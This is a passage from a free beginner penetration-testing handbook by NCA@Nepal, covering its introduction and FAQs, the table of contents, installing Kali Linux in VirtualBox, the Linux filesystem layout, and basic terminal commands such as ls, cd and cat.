5/26/25, 7:47 PM
NCA's Hacking Handbook
NCA's Hacking
Handbook
1
5/26/25, 7:47 PM
NCA's Hacking Handbook
Welcome
Welcome to NCA's Hacking Handbook
This book serves as a comprehensive introduction to penetration testing, designed
to equip beginners with the foundational knowledge and skills needed to get started
in cybersecurity. Best of all, this handbook is completely free, making it accessible
to anyone eager to learn.
While there are many paid courses available, we at NCA@Nepal believe that
financial barriers should not prevent aspiring ethical hackers from learning. That’s
why we created this book—to provide a free, comprehensive resource covering all
the essential topics in penetration testing. Our goal is to equip you with the
knowledge and skills needed to enter the field without financial constraints.
Consume the resource ethically, and make sure to check the table of contents to
see what we have covered so far.
The purpose of this book is to educate and share knowledge on penetration testing
and cybersecurity. The authors and publisher bear no responsibility for any misuse
of the information contained within these pages. Any harm, damage, or illegal activity
resulting from the use of this material is solely the responsibility of the individual
utilizing it.
This book is provided on an “as-is” basis without any warranties or guarantees.
While every effort has been made to ensure accuracy, the authors and publisher shall
not be held liable for any loss, damage, or consequences resulting from the use of
this material.
Happy learning, and hack responsibly!
Maintainer: NCA@Nepal (https://ncateam.xyz )
For inquiries, collaborations, or feedback, contact us at us@ncateam.xyz .
2
5/26/25, 7:47 PM
NCA's Hacking Handbook
FAQs
Who is this book for?
This book is meant for anyone who’s starting out in the world of
penetration testing and security. If you’re a beginner, you’ll find
everything you need to get started. But even if you’re at an intermediate
level, there’s a lot of value here. It’ll help you fill in any gaps in your
knowledge and strengthen areas where you might be a little unsure.
Whether you're completely new to the field or looking to level up, this
book will guide you through the process.
It’s perfect for security enthusiasts, IT professionals looking to dive
deeper into security, or anyone interested in bug bounty hunting. If
you’ve been thinking about getting into bug bounty hunting or want to
understand security concepts more clearly, this is a great starting point.
It breaks things down in a way that’s easy to digest and will help you
build a solid foundation in no time.
You don’t need to have prior knowledge of Linux, networking, or
programming to dive into this book. We’ve got you covered and explain
all the basics so you won’t feel lost. Of course, if you do have some
background in these areas, that’s a bonus! You can skim through those
sections and focus on the parts that’ll really help you move forward. This
book is designed to make learning security accessible to everyone, no
matter where you're starting from.
What’s Inside the Book?
This book covers a wide range of essential topics that will help you build
a strong foundation in security. You’ll learn about the Linux file system,
how to manage users and groups, monitor system processes, and
configure networks and firewalls. There’s also a focus on understanding
protocols like HTTP, FTP, and DNS, as well as diving into IP addressing
and cryptography basics like encryption, hashing, and digital
certificates.
3
5/26/25, 7:47 PM
NCA's Hacking Handbook
We don’t just stop at theory. You’ll also get into hands-on practices,
including penetration testing fundamentals, bug bounty programs, and
ethical hacking considerations. You'll learn about reconnaissance,
vulnerability assessment, exploitation, post-exploitation, and how to
document and report findings. This book covers web security topics like
SQL injection, XSS, and SSRF, and tools like Burp Suite, as well as
network security with tools like Nmap and Metasploit.
To make things even more practical, we’ve included links to real-world
practice labs, so you can follow along and try out what you’ve learned
while reading. These labs will give you the chance to put theory into
practice, with real-world scenarios that reflect what you’ll actually face
in the field.
Is ethical hacking legal?
Yes, ethical hacking is legal when conducted with proper authorization.
Penetration testers work with organizations to secure their systems by
identifying and fixing vulnerabilities. Unauthorized hacking, however, is
illegal and punishable by law.
What tools will I need to follow along with this book?
You will need a computer with a virtual machine or a dedicated system to
run Kali Linux. Additional tools like Metasploit, Wireshark, Burp Suite, and
Nmap will be introduced throughout the book.
How can I practice penetration testing safely?
You can practice in controlled environments such as TryHackMe, Hack
The Box, and local virtual labs. These platforms provide legal and safe
spaces to develop your skills.
4
5/26/25, 7:47 PM
NCA's Hacking Handbook
Can I make a career in cybersecurity with this knowledge?
Absolutely! Cybersecurity is a rapidly growing field with high demand for
skilled professionals. By mastering penetration testing and ethical
hacking, you can pursue careers as a security analyst, penetration
tester, or cybersecurity consultant.
Is this book really free?
Yes! This book is provided as a free resource by NCA@Nepal to make
ethical hacking education accessible to everyone.
How can I stay updated with the latest cybersecurity trends?
Cybersecurity is an ever-evolving field. Follow reputable blogs, join
cybersecurity communities, participate in Capture The Flag (CTF)
challenges, and continually practice to stay ahead in the industry.
Can I contribute to this handbook?
We welcome contributions! If you have suggestions, corrections, or
additional topics you would like to see covered, either email us at
us@ncateam.xyz or join our Discord server: Link and contact anyone
from the team.
5
5/26/25, 7:47 PM
NCA's Hacking Handbook
Table of Contents
1
Fundamentals
1.1 Linux
1. Introduction
2. Installing Kali Linux
3. Linux Structure
4. Linux Terminal
5. Basic Linux Commands
6. Manipulating Texts
7. Manage and Analyze Network
8. Software Management
9. File & Directory Permissions
10. Process Management
11. User Environment Variables
12. Compressing and Archiving
13. Linux Capstone
1.2 Networking
1. Introducing to Networking
2. Networking Models
a. OSI Model
b. TCP/IP Model
3. IP Addressing & Subnetting
4. Ports and Protocols
5. DNS (Domain Name System)
6. Network Devices & Topologies
6
5/26/25, 7:47 PM
NCA's Hacking Handbook
7. VPN & Proxies
8. Networking Capstone
1.3 Cryptography
1. Introduction
2. En(De)coding & En(De)cryption
3. Hashing and Hash Cracking
1.4 Python
1. Introduction
2. Basics of Python
a. Syntax and Indentation
b. Variables and Data Types
c. Operators
d. Control Structures
3. Functions
4. Simple Python Port Scanner
2
Basics of Cybersecurity
2.1 Introduction to Information Security
1. Introduction
2. The CIA Triad
3. Introduction to Penetration Testing
4. Bug Bounty
5. Standards and Frameworks
6. Legal and Ethical Considerations
7. Type of Penetration Tests
7
5/26/25, 7:47 PM
NCA's Hacking Handbook
2.2 Penetration Testing Process
1. Pre-Engagement Activities
2. Reconnaissance
3. Vulnerability Assessment
4. Exploitation
5. Post-Exploitation
6. Reporting and Documentation
7. Post-Engagement Considerations
8. The Cycle in Motion
3
Reconnaissance
3.1 Network Enumeration
1. Introduction
2. Lab Setup
3. Host Scanning
4. Scan Types
5. Port Scanning
6. Service Version and Script Scan
7. Cute Outputs
8
5/26/25, 7:47 PM
NCA's Hacking Handbook
Fundamentals
9
5/26/25, 7:47 PM
NCA's Hacking Handbook
Approach
In this section, you'll learn how to approach this fundamental module as a complete
beginner. How to approach each sub-module inside this fundamental module is
essential knowledge for you to have, so let’s get right into it.
Linux
Linux skills are important for penetration testing or cybersecurity in general. We
have tried our best to cover all the important knowledge you need to have in Linux.
We focused on installing Kali Linux and using it in this book. Make sure you serially
follow the sections inside the sub-module of Linux. All the topics are serially
designed to help you gain knowledge of all the important topics in order.
If you get stuck somewhere or don’t understand any certain concept, you can first
consult with LLMs (ChatGPT, Gemini, GrokAI, or whatever you like) first, then ask
peers or your mentor for help. It’s better to perform personal research on the topic
you get stuck on before seeking help.
When learning, for example, if you are in the "Basic Linux Commands" section, you
can read and do the said commands practically in your personal Kali Linux virtual
machine you set up. This way, you are reading and applying it practically yourself
as well. There will also be a section inside the Linux submodule for the capstone as
well. Make sure to do it.
Networking
When approaching the networking module, start by grasping the core concepts and
visualizing how networks function. Use diagrams and animations (like YouTube
videos) to understand models like OSI and TCP/IP, focusing on the roles of each
layer. As you work through topics like IP addressing and subnetting, take detailed
notes and practice examples to solidify your understanding. Supplemental animated
10
5/26/25, 7:47 PM
NCA's Hacking Handbook
videos can make these concepts clearer, helping you visualize how data is routed
and broken down in networks.
For protocols, ports, and network devices, focus on how they work together in a
network. Use network tools like ping , traceroute , or even simulations in Packet
Tracer to get a hands-on feel for how these elements interact in real-world
situations. Take note of key terms and common protocols like HTTP, FTP, and DNS,
and practice identifying them through tools like Wireshark. When learning about
security mechanisms like firewalls and NAT, make sure to understand their rules
and experiment by setting them up in virtual environments to reinforce the
concepts.
Finally, apply your learning by building a small network lab in Cisco Packet Tracer
as your capstone project. This hands-on project will bring everything together and
help you solidify your knowledge by putting theory into practice.
Cryptography
Cryptography plays a crucial role in securing communications, data storage, and
protecting privacy. In this module, you will learn the fundamental concepts of
cryptography, including encryption/decryption methods, symmetric/asymmetric
algorithms, hashing functions, and digital signatures. You'll also explore the
principles behind cryptographic protocols like SSL/TLS, which secure data
transmission over the internet.
Cryptography is deeply embedded in various aspects of cybersecurity, so it’s
important to grasp how cryptographic techniques are applied in real-world
scenarios.
Python
In Python, make sure to learn all the fundamentals of programming with Python
we’ve taught you so far. Also, write the code yourself as well. Don’t hesitate to add
or use supplemental resources for any topic you don’t understand properly. We
11
5/26/25, 7:47 PM
NCA's Hacking Handbook
have YouTube, W3Schools, or the Python documentation itself. Use public
resources properly.
Programming is important, and while the basics we’ve covered so far aren’t
comprehensive, they provide a foundation that helps you write simple Python
scripts and read code written by others. This is just the beginning—programming is
a vast topic that improves with consistent practice. After completing all topics in
this module, continue with the next one, but make it a point to write small projects
every week. Use resources like W3Schools, LearnPython.org, or other platforms to
dive deeper into topics like Object-Oriented Programming (OOP) and beyond. The
more you practice, the more comfortable and skilled you’ll become in programming.
12
5/26/25, 7:47 PM
NCA's Hacking Handbook
Linux
13
5/26/25, 7:47 PM
NCA's Hacking Handbook
Introduction
Before introducing you to Linux, let us first provide you with some background on
Unix.
Unix
Unix is a multi-user, multitasking OS originally developed in the late 1960s at AT&T
Bell Labs by Ken Thompson, Dennis Ritchie, and others. Unlike Linux, which is
open-source, Unix was proprietary and licensed to companies like IBM, Sun
Microsystems, and HP. Popular Unix-based OSs include macOS, AIX, Solaris, and
HP-UX.
Here comes “Linux”
Linux is an open-source operating system (OS) based on the Unix architecture. It
was created by Linus Torvalds in 1991 and has since become one of the most
widely used OSs, especially in servers, cybersecurity, programming, embedded
systems, and ethical hacking (like Kali Linux, which we will use).
Linux follows a monolithic kernel design, meaning the core of the OS (the kernel)
manages everything, including hardware, processes, and system calls. It comes in
various distributions (distros) such as Ubuntu, Debian, Fedora, Arch Linux, and Kali
Linux.
Linux Vs Unix
Unix
Linux
Developed in the 1970s by AT&T Bell Labs
Developed in the 1990s by Linus Torvalds
Proprietary (mostly closed-source)
Open-source and freely available
14
5/26/25, 7:47 PM
NCA's Hacking Handbook
Mainly used in enterprise, servers, and
mainframes
Used in servers, desktops, embedded
systems, and mobile devices
Generally expensive, requires a license
Mostly free and open-source
Typically runs on specific hardware
Can run on a wide range of hardware
Monolithic and multi-user
Modular, customizable, and multi-user
Used by companies like IBM, HP, and
Oracle
Used by individuals, organizations, and
companies like Google, Red Hat, and
Canonical
Slower updates and limited community
t
Frequent updates and strong community
t
Linux Distributions
Linux distributions, often referred to as "distros," are operating systems built upon
the Linux kernel. They serve a wide range of purposes, from powering servers and
embedded devices to running desktop computers and mobile phones. While all
Linux distributions share the same underlying components, architecture, and
philosophy, each one is tailored to meet specific market needs or user preferences.
These variations provide unique configurations, software packages, and tools,
allowing users to customize their experience according to their requirements.
Popular Linux distributions include Ubuntu, Fedora, CentOS, Debian, and Red Hat
Enterprise Linux.
For cybersecurity practitioners, there are several Linux distributions that are highly
regarded for their security features and penetration testing tools. Some of the most
commonly used distros include ParrotOS, Kali Linux, BlackArch, and Pentoo. Each
of these distributions is designed to cater to specific cybersecurity needs, offering
tools and utilities to support tasks such as vulnerability scanning, exploitation, and
network analysis.
In this book, we will primarily use Kali Linux for penetration testing. Kali is an
excellent choice for beginners because it is easy to install in VirtualBox, and it
comes preloaded with a comprehensive set of penetration testing tools. This means
that you can start learning and practicing right away without the need to spend time
15
5/26/25, 7:47 PM
NCA's Hacking Handbook
setting up tools in a clean distro. While Kali Linux is recommended for its ease of
use, you are free to experiment with other distributions such as ParrotOS if you
prefer. However, if you're willing to take on the challenge of setting up and
configuring tools manually, feel free to explore other distros. The goal is to dive into
penetration testing, and whichever distribution you choose, the learning experience
will be valuable.
Why do hackers use Linux?
Hackers prefer Linux for several reasons, the biggest being its open-source nature.
Since Linux is open source, anyone can inspect, modify, and optimize the code,
making it highly flexible for security professionals who need complete control over
their operating system. Unlike closed-source systems like Windows, where much of
the internal workings remain hidden, Linux is fully transparent, allowing hackers and
penetration testers to understand exactly how the system operates, identify
vulnerabilities, and customize it to their needs.
Another major advantage is the level of granular control Linux provides. Users have
full access to system resources, fine-tuned permissions, and deep customization
options that are simply not possible in proprietary OSes. This level of control is
essential for ethical hackers who need to manipulate network traffic, modify system
behavior, and run specialized security tools. Speaking of tools, the majority of
penetration testing and hacking tools—like Metasploit, Nmap, Wireshark, and John
the Ripper—are developed specifically for Linux. Even if some tools are available
for Windows, they often run more efficiently and with fewer restrictions on Linux.
Beyond that, Unix-based systems, including Linux, are widely regarded as the
future of computing. Most modern servers, cloud infrastructures, and even mobile
devices (Android is based on Linux) run on Unix-like environments. This makes
Linux an essential skill for anyone in cybersecurity because understanding it means
understanding the backbone of modern digital infrastructure. Additionally, Linux is
more secure than Windows by design, with better privilege management, fewer
exploitable vulnerabilities, and a lower risk of malware infections—making it the
preferred choice for both defenders and attackers in cybersecurity.
16
5/26/25, 7:47 PM
NCA's Hacking Handbook
Lastly, Linux offers powerful scripting and automation capabilities with Bash,
Python, and Perl, which hackers use to automate attacks, scan networks, or exploit
vulnerabilities. The ability to write and execute scripts efficiently is a must-have skill
for anyone serious about penetration testing. Put simply, Linux isn't just a choice for
hackers—it’s a necessity.
17
5/26/25, 7:47 PM
NCA's Hacking Handbook
Installing Kali Linux
We will now install Kali Linux in our hypervisor (or call it a virtual machine (VM)
manager). But before doing so, let's learn about the types of hypervisors.
Types of Hypervisors
A hypervisor is software that allows us to create and manage virtual machines
(VMs). It acts as a bridge between the physical hardware and the virtual
environment, allowing multiple operating systems to run on a single system.
Hypervisors are categorized into two main types:
Type 1 Hypervisor (Bare-Metal Hypervisor)
A Type 1 hypervisor runs directly on the physical hardware, without requiring an
underlying operating system. Because of this, it provides better performance,
efficiency, and security. Type 1 hypervisors are commonly used in enterprise
environments, data centers, and cloud computing.
Examples of Type 1 Hypervisors:
• VMware ESXi – A widely used hypervisor for enterprise virtualization.
• Microsoft Hyper-V – A built-in virtualization solution for Windows Server.
• Xen – An open-source hypervisor used in cloud platforms like AWS.
Type 2 Hypervisor (Hosted Hypervisor)
A Type 2 hypervisor runs on top of an existing operating system (Windows, macOS,
or Linux). Since it relies on the host OS to access hardware resources, it is
generally easier to install and use but may have slightly lower performance
compared to Type 1 hypervisors. Type 2 hypervisors are commonly used for
personal, testing, and development purposes.
18
5/26/25, 7:47 PM
NCA's Hacking Handbook
Examples of Type 2 Hypervisors:
• VirtualBox – A free, open-source hypervisor developed by Oracle.
• VMware Workstation/Player – A powerful virtualization tool used by
professionals.
• Parallels Desktop – A macOS-specific hypervisor for running Windows and
Linux.
Since we will be using VirtualBox or VMware Workstation, we are working with a
Type 2 hypervisor. Now that we understand the different types of hypervisors, let’s
move on to preparing our system and setting up a virtual machine for Kali Linux.
Installing VirtualBox
Since VirtualBox is free and open-source, we will use it for this book. It is widely
supported and easy to set up, making it a great choice for beginners and
professionals alike. However, if you want to explore other options, you can also
install VMware.
At the time of writing this, VMware Workstation Pro is officially free for personal
use. This makes it another excellent choice for running virtual machines. While the
installation steps for VMware are slightly different, the overall process remains
similar.
For this guide, we will proceed with VirtualBox, but feel free to try out VMware if
you're interested. Now, let's move on to installing and setting up our virtualization
environment.
To install VirtualBox, the process is simple. Visit
https://www.virtualbox.org/wiki/Downloads and download the appropriate
installer for your operating system:
• Windows Users: Download the .exe binary and run the installer.
19
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Mac Users: Download the macOS package (.dmg) and follow the installation
steps.
• Linux Users: VirtualBox is available in most distribution repositories. You can
install it using your package manager, such as:
◦ Debian/Ubuntu: sudo apt install virtualbox
◦ Fedora: sudo dnf install VirtualBox
◦ Arch Linux: sudo pacman -S virtualbox
Once downloaded and installed, VirtualBox will be ready to create and manage
virtual machines.
Installing Kali Linux
We can install Kali Linux from their official website: https://www.kali.org/get-kali/ .
When you visit the website, you will find two options available for downloading Kali
Linux:
1. Installer Image – This is an ISO file, which is typically burned to a USB drive and
used to boot a system for installation. The same process applies to hypervisors,
where we can boot using the ISO file and manually set up Kali Linux from
scratch.
2. Virtual Machine Image – These are pre-configured .OVA (for VirtualBox) and
.OVF (for VMware) files, designed specifically for virtualization.
For this guide, we will use the .OVA or .OVF file and import it directly into our
hypervisor instead of installing from scratch.
20
5/26/25, 7:47 PM
NCA's Hacking Handbook
Why? Because:
• It saves time – no need to go through the lengthy installation process.
• It is pre-configured – comes with essential settings and optimizations.
• It allows us to start working immediately instead of spending hours setting up
the system.
The file you download will be a .7z (7-Zip) compressed file. To use it, we need
to extract the contents first. Here's how you do it:
21
5/26/25, 7:47 PM
NCA's Hacking Handbook
1. Download and install 7-Zip from their official website (I don’t think we need to
provide a full guide for this – just search for “7-Zip” on Google if you don’t have
it).
2. Once installed, right-click the .7z file and select Extract Here or Extract to
[folder name].
After extraction, you will find the .OVA file (for VirtualBox) or the .OVF file (for
VMware), which is the virtual machine image. Now, we can import it into VirtualBox:
• Option 1: Simply right-click the .OVA file and select Open with VirtualBox. This
will automatically import the virtual machine.
• Option 2: In VirtualBox, click File > Import Appliance, browse to the extracted
.OVA file, and follow the prompts to import the virtual machine.
Since our virtual machine is imported into the hypervisor, we can start it and wait
for it to boot up. There we go—our Kali Linux is ready! You'll see the login prompt,
and the default credentials for the pre-configured virtual machines are kali:kali .
Apply Optimizations
If you're using VMware, it should not lag, as optimizations for virtual machines are
already applied by default, and fullscreen should be supported natively without any
additional installation.
However, for VirtualBox, you need to install VirtualBox Guest Additions in Kali Linux
to optimize the OS and enable fullscreen support. Here’s how you can do it:
1. Start Kali Linux in your VirtualBox VM.
2. Once Kali is up and running, click on the "Devices" menu in the VirtualBox
toolbar at the top of the screen.
3. From the dropdown, select "Insert Guest Additions CD image...". This will mount
the Guest Additions ISO to your Kali Linux VM.
22
5/26/25, 7:47 PM
NCA's Hacking Handbook
4. Open a Terminal in Kali Linux and run the following commands to install the
necessary packages:
sudo apt update && sudo apt upgrade -y
sudo reboot
## After System is rebooted run following:
sudo apt install -y build-essential dkms linux-headers-generic
5. Now, cd to the Guest Additions CD image manually. Run the following command
to navigate to the mounted CD:
cd /media/kali/VBox_GAs_7.1.6/
## 7.1.6 can be different version too
6. Next, run the installation script:
sudo bash VBoxLinuxAdditions.run # use 'kali' as password when it
prompts
Once the installation is complete, reboot your system:
sudo reboot
After rebooting, you should be able to use fullscreen mode and experience better
performance in your Kali Linux VM.
Note: When you use sudo before a command, it prompts you to enter a password. The
password you enter is " kali ", which is the default password for your current user
account. This user is included in the sudoers file, granting it permission to execute
commands with superuser privileges (i.e., using sudo).
Also, when typing your password, it won’t appear on-screen for security reasons.
This is a standard design in Linux to prevent shoulder surfing and protect your
password from being exposed. Therefore, from now on, you need to develop the
habit of typing your password without looking at the terminal to see how many
characters you have typed so far. Although you can change this behavior, it’s
23
5/26/25, 7:47 PM
NCA's Hacking Handbook
beyond the scope of this book and would be considered part of your personal
research.
24
5/26/25, 7:47 PM
NCA's Hacking Handbook
Linux Structure
Linux and Windows have different ways of organizing their file systems. In Linux,
everything starts from a single root directory / , while Windows begins with
separate drives like C:\ or D:\ . This means that in Linux, all files and directories
are part of one large tree-like structure, whereas Windows treats each drive as an
independent storage space.
System and program files are also organized differently. In Linux, system
configuration files are typically stored in /etc/ , while executable programs are
found in directories like /bin/ , /usr/bin/ , and /sbin/ . In Windows, system files
are mainly located in C:\Windows\ , and programs are installed in C:\Program
Files\ or C:\Program Files (x86)\ for 32-bit applications.
User data also follows distinct structures. Linux stores user-specific files in
/home/username/ (in our case it’s ‘ kali ’), where documents, downloads, and
configurations are neatly placed. Windows, on the other hand, stores user files in
C:\Users\Username\ , with subdirectories like Documents , Downloads , and
Desktop .
Another key difference is how devices and hardware are managed. In Linux,
devices such as hard drives, USBs, and even the keyboard are treated as files,
typically found in /dev/ . In Windows, devices are managed through a dedicated
25
5/26/25, 7:47 PM
NCA's Hacking Handbook
device manager, and drives appear under This PC with assigned letters like C: or
D: .
Overall, Linux follows a more unified and modular structure where everything is
treated as a file, while Windows relies on a drive-based, graphical approach that
separates system components, applications, and user data.
The following image shows how the directory structure or file system of Linux is
organized in a tree-like structure:
Image Adapted From https://tecadmin.net/wp-content/uploads/2022/06/linux-filesystemhierarchy.png
The following table explains a few important directories and their uses in Linux. This
is just an overview—you'll learn more about additional directories and their
purposes as you gain hands-on experience with Linux.
Directory
Purpose
/
Root directory. The top-level of the system.
Everything starts from here.
/bin
Essential system programs (e.g., ls , cp ,
mv ). Used by all users.
/sbin
System administration programs (e.g.,
iptables , reboot ). Mostly for root user.
/usr/bin
Extra programs installed (e.g., nmap ,
hydra ). Regular users can use them.
/usr/sbin
Extra system admin tools (e.g., apache2 ,
mysql ). Mostly for root user.
26
5/26/25, 7:47 PM
NCA's Hacking Handbook
/etc
Configuration files for the system and
applications (e.g., passwd , shadow ).
/home
Personal files for each user (e.g.,
/home/user/ ).
/root
Home directory of the root (admin) user.
/tmp
Temporary files. Deleted automatically after
reboot.
/var
Stores logs, cache, and databases (e.g.,
/var/log , /var/lib ).
/opt
Third-party software (e.g., extra tools like
Burp Suite).
/boot
Boot files like the Linux kernel and GRUB
bootloader.
/dev
Contains device files (e.g., sda for hard
drives, tty for terminals).
/mnt
Mount point for external drives (e.g., USB,
network drives).
/media
Auto-mounting for USB and CD/DVD drives.
/proc
Virtual system info files (e.g., CPU, memory
usage).
/sys
Another virtual system folder. Used by the
kernel to manage hardware.
/lib
& /lib64
System libraries needed for running
27
5/26/25, 7:47 PM
NCA's Hacking Handbook
Linux Terminal
The Linux terminal is the command-line interface (CLI) used in Kali Linux to execute
commands, run scripts, and operate various cybersecurity tools. It typically runs on
Zsh (Z Shell) by default but also supports Bash and other shells. The terminal allows
users to perform essential Linux operations such as navigating the filesystem,
managing packages with apt , and configuring system settings.
A Linux terminal, also called a shell or command line, provides a text-based
input/output (I/O) interface between users and the kernel for a computer system.
In Windows, the Command Prompt (CMD) is used less frequently because most
administrative and user tasks can be performed using a graphical user interface
(GUI). Windows users typically rely on menus, settings panels, and graphical
applications for system management. Additionally, CMD has limited functionality
compared to Linux terminals, and advanced scripting is often done using
PowerShell, which provides more capabilities.
In Linux, the terminal is used more frequently because the operating system is built
around a command-line-driven environment. Many administrative tasks, package
installations, system configurations, and file manipulations are more efficient when
done through the command line. Linux users, especially developers, system
28
5/26/25, 7:47 PM
NCA's Hacking Handbook
administrators, and cybersecurity professionals, prefer the terminal for automation,
scripting, and executing powerful commands that offer more control over the
system. Additionally, many Linux distributions, especially server versions, do not
have a GUI by default, making the terminal the primary way to interact with the
system.
Additionally, it supports scripting in languages like Python, Bash, Perl, and Ruby,
enabling automation of security tasks. The Kali Linux terminal is a crucial
component for cybersecurity professionals, providing a flexible and efficient
environment for ethical hacking and security assessments.
Linux Shell Prompt
In Linux, the command prompt provides useful information about the user and their
current location in the file system. The prompt typically follows this structure:
<username>@<hostname><current working directory>$
When a user logs in, they start in their home directory, which is represented by a
tilde ( ~ ). For example, the prompt may look like this:
<username>@<hostname>[~]$
The dollar sign ( $ ) at the end of the prompt indicates that the user is unprivileged,
meaning they have limited permissions. However, if the user switches to the root
(administrator) account, the prompt changes, and the dollar sign ( $ ) is replaced
with a hash ( # ), showing that they now have full control over the system.
• Unprivileged User Prompt: $
• Privileged (Root) User Prompt: #
However, Kali Linux uses the Zsh shell instead of Bash by default. Zsh is more
flexible and customizable, offering useful features like auto-suggestions, command
history-based suggestions, and plugin support, making command-line usage more
29
5/26/25, 7:47 PM
NCA's Hacking Handbook
efficient. While the prompt structure remains similar, there are slight differences in
how it behaves and looks due to Zsh’s enhanced customization options.
┌──(kali㉿kali)-[~]
└─$ COMMAND-HERE
30
5/26/25, 7:47 PM
NCA's Hacking Handbook
Basic Linux Commands
We will explore fundamental commands such as whoami , hostname , ls , cd , etc
which are crucial for everyday Linux usage.
Whoami
┌──(kali㉿kali)-[~/Downloads]
└─$ whoami
kali
whoami
terminal.
command is used to display the current logged-in user's username on the
Print Working Directory
┌──(kali㉿kali)-[~/Downloads]
└─$ pwd
/home/kali/Downloads
The pwd (print working directory) command in Linux is used to display the
absolute path of the current working directory (folder).
If you modify files directly in /home/kali/Downloads , the changes will immediately
take effect because you're working in that directory.
Echo
┌──(kali㉿kali)-[~/Downloads]
└─$ echo "Hello NCA@Nepal"
Hello NCA@Nepal
31
5/26/25, 7:47 PM
NCA's Hacking Handbook
The echo command in Linux is used to display messages, text, or variable values
in the terminal. It is commonly used in shell scripts and command-line operations
for outputting information.
Instead of displaying the text on the terminal, we can save it to a file using the
redirection operator > .
┌──(kali㉿kali)-[~/Downloads]
└─$ echo "Hello NCA@Nepal" > hello.txt
•
•
•
echo "Hello NCA@Nepal"
>
→ Prints "Hello NCA@Nepal" to standard output.
→ Redirects the output to a file (overwrites if the file already exists).
hello.txt
→ The file where the output is saved.
If this command is executed in /home/kali/Downloads , it will create (or overwrite)
the file hello.txt in that directory. This is a useful technique for writing text to
files directly from the command line.
Ls Command
We have successfully created a hello.txt , now let's see what files exist in the
current directory. To do so, we will use the ls command as ls command is used
for listing files and directories in the current working directory. It helps you see
what files and folders exist in a specific location.
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
hello.txt
Cat Command
Now, in order to view the "Hello NCA@Nepal" inside hello.txt which we created
through ‘ echo ' command we will use the cat command to display its content as
32
5/26/25, 7:47 PM
NCA's Hacking Handbook
command is used to display the contents of a file on the terminal. It's short for
"concatenate" and can also be used to combine multiple files into one.
cat
┌──(kali㉿kali)-[~/Downloads]
└─$ cat hello.txt
Hello NCA@Nepal
Create a File (GUI)
Instead of creating a file through the CLI, let's now create a file through the GUI in
the /home/kali/Downloads directory. Just right-click and “Create New Empty File”
and we named it as hello1.txt
Let's write some content into the hello1.txt file. We can either open it using a
text editor. By default, Kali Linux uses Mousepad as the default text editor to open
the file.
33
5/26/25, 7:47 PM
NCA's Hacking Handbook
We will now view the hello1.txt file through the Linux terminal, as we learned
the command previously. First, let's check how many files are currently present in
the current working directory:
┌──(kali㉿kali)-[~/Downloads]
└─$ ls
hello1.txt hello.txt
Let's view the content of hello1.txt using the cat command, which we learned
previously.
┌──(kali㉿kali)-[~/Downloads]
└─$ cat hello1.txt
welcome to the NCA@Nepal mentorship program!!!!
Navigating the Linux Filesystem
To navigate from one directory to another, the cd (change directory) command is
used. It allows users to move between directories efficiently using absolute or
relative paths.
Absolute Path
34
5/26/25, 7:47 PM
NCA's Hacking Handbook
An absolute path is a full path that starts from the root directory ( / ) and specifies
the complete location of a file or folder in the system. It always gives the exact
location, no matter where you are in the filesystem. For example, if you want to
navigate to the Destkop folder from anywhere, you would use the absolute path:
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ pwd
/usr/share/wordlists
┌──(kali㉿kali)-[/usr/share/wordlists]
└─$ cd /home/kali/Desktop
┌──(kali㉿kali)-[~/Desktop]
└─$
This path starts from the root ( / ) and gives the complete route to the target
directory. Absolute paths are useful when you need to always reference the same
location, no matter your current directory.
Relative path
A relative path is a path that describes the location of a file or folder in relation to
your current directory. It doesn’t start from the root but from where you are
currently located in the filesystem. For example, if you're in /home/kali/Downloads
and want to go to the Destkop folder, you could use the command:
┌──(kali㉿kali)-[~/Downloads]
└─$ pwd
/home/kali/Downloads
┌──(kali㉿kali)-[~/Downloads]
└─$ cd ../Desktop
┌──(kali㉿kali)-[~/Desktop]
└─$
Here, .. means "go up one directory level" (from Downloads to kali ), and then
you move into Destkop . Relative paths are shorter and more flexible when you're
working within a specific folder structure.
35
5/26/25, 7:47 PM
NCA's Hacking Handbook
Key difference: Absolute paths are fixed and start from the root directory, ensuring
that the location is always the same. Relative paths depend on your current location
and are easier to use for quick navigation within a known directory structure.
In summary, use absolute paths for precise navigation when you need the exact
location, and relative paths for faster, simpler navigation within a known directory
structure.
Changing Directories with cd
The cd command is primarily used to move around the filesystem so you can
access, manage, or modify files in different directories. Since many terminal-based
operations depend on your current location in the filesystem, cd helps ensure
you're working in the correct directory.
Assume you are presently situated in the Desktop directory, located at
/home/kali/Desktop , and your objective is to navigate to the Downloads directory,
found at /home/kali/Downloads . Below is a detailed, step-by-step guide on how to
accomplish this using the cd command:
Ascend to the Parent Directory
Given that both the Desktop and Downloads directories reside within the
/home/kali path, the most efficient way to proceed is by navigating to the parent
directory. This can be accomplished using cd .. :
36
5/26/25, 7:47 PM
NCA's Hacking Handbook
┌──(kali㉿kali)-[~/Desktop]
└─$ pwd
/home/kali/Desktop
┌──(kali㉿kali)-[~/Desktop]
└─$ cd ..
┌──(kali㉿kali)-[~]
└─$ ls
Desktop
Downloads
Documents Music
Pictures
Public
Templates
Videos
┌──(kali㉿kali)-[~]
└─$ cd Downloads
┌──(kali㉿kali)-[~/Downloads]
└─$
: This command elevates you one level up in the directory hierarchy,
repositioning you within /home/kali .
cd ..
You would use .. to move up one level. You would use ../.. to move up two
levels. You would use ../../.. to move up three levels, and so on.
Note: In Linux, . refers to the current directory, allowing you to execute commands
or access files in the directory you're in. On the other hand, .. refers to the parent
directory, enabling you to move up one level in the directory hierarchy.
Getting Help
When you are stuck with a command—unsure about its syntax (the correct
structure of the command) or the switches (options and flags that modify the
command’s behavior)—the help command in Linux becomes a valuable tool.
It provides detailed information about built-in shell commands, explaining how to
use them correctly. This includes:
• Command syntax: The proper format for running the command.
37
5/26/25, 7:47 PM
NCA's Hacking Handbook
• Switches and options: A list of available flags that customize the command’s
output or behavior.
• Brief descriptions: Explanations of what each option does and when to use it.
• Examples: Some help outputs offer example usages for better understanding.
┌──(kali㉿kali)-[~/Desktop]
└─$ ls --help
Usage: ls [OPTION]... [FILE]...
List information about the FILEs (the current directory by default).
Sort entries alphabetically if none of -cftuvSUX nor --sort is
specified.
Mandatory arguments to long options are mandatory for short options
too.
-a, --all
do not ignore entries starting with .
-A, --almost-all
do not list implied . and ..
--author
with -l, print the author of each file
-b, --escape
print C-style escapes for nongraphic
characters
You receive a detailed list of switches (also called options or flags) that can be used
to modify the behavior of the ls command.
Hidden Files
For instance, consider a hidden file named .hidden_file . The standard ls
command will not display this file, as hidden files (those beginning with a dot . )
